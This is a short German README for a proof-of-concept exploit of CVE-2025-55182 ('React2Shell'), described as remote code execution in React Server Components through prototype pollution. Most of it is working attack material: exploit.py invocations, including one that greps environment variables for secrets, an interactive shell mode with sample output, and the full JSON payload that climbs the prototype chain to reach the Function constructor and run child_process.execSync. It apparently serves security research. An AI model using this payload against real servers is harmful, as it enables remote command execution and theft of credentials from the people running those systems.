
Proof-of-Concept-Exploit für CVE-2025-55182 (React2Shell), eine kritische RCE-Schwachstelle in React Server Components über Prototype Pollution. Enthält interaktive und Befehlszeilen-Exploit-Modi.
React Server Components deserialisieren FormData unsicher. Speziell präparierte Multipart-Felder lösen Prototype Pollution aus und führen beliebigen Code über child_process.execSync aus.
npm install
pip3 install requests
npm run dev
Die Anwendung läuft unter: http://localhost:3000
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami"
python3 exploit.py -c "pwd"
python3 exploit.py -c "ls -la"
python3 exploit.py -c "cat package.json"
python3 exploit.py -c "env | grep SECRET"
python3 exploit.py -i
> whoami
COMMAND RESULT:
your-username
============================================================
> pwd
COMMAND RESULT:
/path/to/project
============================================================
> exit
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('CMD',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
npm run dev
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami" -v
Zeigt die vollständige Payload-Struktur und die Serverantwort
Von Guaxinim | Cybersicherheitsforschung